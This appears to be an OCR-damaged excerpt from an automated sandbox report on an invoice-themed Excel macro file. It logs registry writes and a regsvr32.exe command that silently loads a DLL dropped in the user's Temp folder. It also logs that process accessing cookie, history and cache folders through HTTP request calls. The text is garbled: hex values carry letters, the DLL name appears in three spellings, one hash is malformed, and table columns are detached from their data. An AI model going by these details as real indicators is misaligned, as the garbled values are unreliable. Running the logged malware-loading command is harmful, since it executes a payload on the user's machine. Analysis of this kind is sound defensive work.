7A E8 D6 01 CO 5C OF 00 CO 5C OF
00 00 00 00 00 B8 02 00 00 66 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic 7 binary 2C 69 37 00 7C 07 00 00 02 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 00 00 8A 00 00 00 01 00 00

00 44 00 00 00 3A 00 00 00 69 00 6E
00 76 00 37 00 36 00 39 00 33 00 39
00 34 00 37 00 30 00 39 00 39 00 2D
00 32 00 30 00 32 00 31 00 30 00 31
00 31 00 31 00 33 00 38 00 38 00 32
00 31 00 31 00 2E 00 78 00 6C 00 73
00 6D 00 00 00 69 00 6E 00 76 00 37
00 36 00 39 00 33 00 39 00 34 00 37
00 30 00 39 00 39 00 2D 00 32 00 30
00 32 00 31 00 30 00 31 00 31 00 31
00 33 00 38 00 38 00 32 00 31 00 31
00 00 00

Key Value Modified

Source
Key Path Name Type Old Data New Data Completion Count Address Symbol

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1358626844 1378549789 success or wait 1 14012828C ShellExecuteA
TWARE\Mi s_3082

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100A0C001

00000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378549789 1378549790 success or wait 1 14012828C ShellExecuteA
TWARE\Mi s_3082

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100A0C001

00000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1358626844 1378549789 success or wait 1 14012828C ShellExecuteA
TWARE\Mi s_1036

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100C040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378549789 1378549790 success or wait 1 14012828C ShellExecuteA
TWARE\Mi s_1036

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100C040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1358626865 1378549810 success or wait 1 14012828C ShellExecuteA
TWARE\Mi s_1033

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F1009040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378549810 1378549811 success or wait 1 14012828C ShellExecuteA
TWARE\Mi s_1033

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F1009040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378549790 1378549791 success or wait 1 14012828C ShellExecuteA
TWARE\Mi s_3082

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100A0C001

00000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378549791 1378549792 success or wait 1 14012828C ShellExecuteA
TWARE\Mi s_3082

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100A0C001

00000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378549790 1378549791 success or wait 1 14012828C ShellExecuteA
TWARE\Mi s_1036

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100C040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile dword 1378549791 1378549792 success or wait 1 14012828C ShellExecuteA
TWARE\Mi s_1036

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109F100C040010

0000000F01FEC\Usage

Copyright null 2021 Page 90 of 94



Key Path Name

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile
TWARE\Mi s_1033
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F1009040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF SpellingAndGrammarFile
TWARE\Mi s_1033
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F1009040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF ProductFiles
TWARE\Mi

crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109D3000000010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF ProductFiles
TWARE\Mi

crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109D3000000010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF ProductFiles
TWARE\Mi

crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109D3000000010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF ProductFiles
TWARE\Mi

crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109D3000000010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF ProductNonBootFilesIntl_
TWARE\Mi 1033
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109E6009040010

0000000F01FEC\Usage

Type

dword

dword

dword

dword

dword

dword

dword

Old Data
1378549811

1378549812

1378549806

1378549807

1378549808

1378549809

1378549761

New Data

1378549812

1378549813

1378549807

1378549808

1378549809

1378549810

1378549762

Completion Count

success or wait 1

success or wait 1

success or wait 1

success or wait 1

success or wait 1

success or wait 1

success or wait 1

Source

Address Symbol

14012828C ShellExecuteA

14012828C

ShellExecuteA

14012828C

ShellExecuteA

14012828C

ShellExecuteA

14012828C

ShellExecuteA

14012828C

ShellExecuteA

7FEEAC59ACO unknown

Analysis Process: regsvr32.exe PID: 2756 Parent PID: 1916

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Read

File Path
C:\Users\user\AppData\Local\Temp\qglroxdwh.dIl
C:\Users\user\AppData\Local\Temp\qglroxdwh.dIl

16:32:57
11/01/2021

C:\Windows\System32\regsvr32.exe

false

‘C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\qlroxdwh.dll.

0xffbf0000
19456 bytes

59BCE9F07985F8A4204F4D6554CFF708

true

true

C, C++ or other language

high

Offset
unknown

unknown

Length Completion
64 success or wait
264 success or wait

Source
Count Address Symbol
1 FFBF274D ReadFile
1 FFBF279B ReadFile
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Analysis Process: regsvr32.exe PID: 2952 Parent PID: 2756

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

Copyright null 2021

Access

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

16:32:58
11/01/2021
C:\Windows\SysWOW64\regsvr32.exe
true

-s C:\Users\user\AppData\Local\Temp\glroxdwh.dll.
0x830000
14848 bytes
432BE6CF7311062633459EEF6B242FB5
true
true
C, C++ or other language

moderate

Source

Attributes Options Completion Count

device | sparse 9F390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 9F390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 9F390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 9F390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 9F390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 9F390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 9F390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 9F390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

device | sparse 9F390E

file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 1

Address

Symbol
HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW

HttpSendRequestW
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File Path

Access

Attributes Options Completion

Source
Count Address Symbol

C:\Users\user\AppData\Local\Temp\CabF69F.tmp read attributes | device | sparse synchronous io success or wait 1 9F390E HttpSendRequestW
synchronize | file non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\TarF6A0.tmp read attributes | device | sparse synchronous io success or wait 1 9F390E HttpSendRequestW
synchronize | file non alert | non
generic read directory file
Source
File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: DW20.EXE PID: 2252 Parent PID: 1916
General
Start time: 16:33:21
Start date: 11/01/2021
Path: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

'C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE' -x -s 1736

0x13f620000

995024 bytes
45A078B2967E0797360A2D4434C41DB4
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: DWWIN.EXE PID: 2264 Parent PID: 2252
General
Start time: 16:33:22
Start date: 11/01/2021
Path: C:\Windows\System32\DWWIN.EXE

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path

File Path

Copyright null 2021

Access

false

C:\Windows\system32\dwwin.exe -x -s 1736
0xff1d0000

152576 bytes
25247E3C4E7ATAT3BAEEA6C0008952B1
true

true

C, C++ or other language

moderate

Attributes Options Completion

Completion

Source
Count Address Symbol

Source
Count Address Symbol
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol

Registry Activities

Source
Key Path Name Type Data Completion Count Address Symbol

Disassembly

Code Analysis
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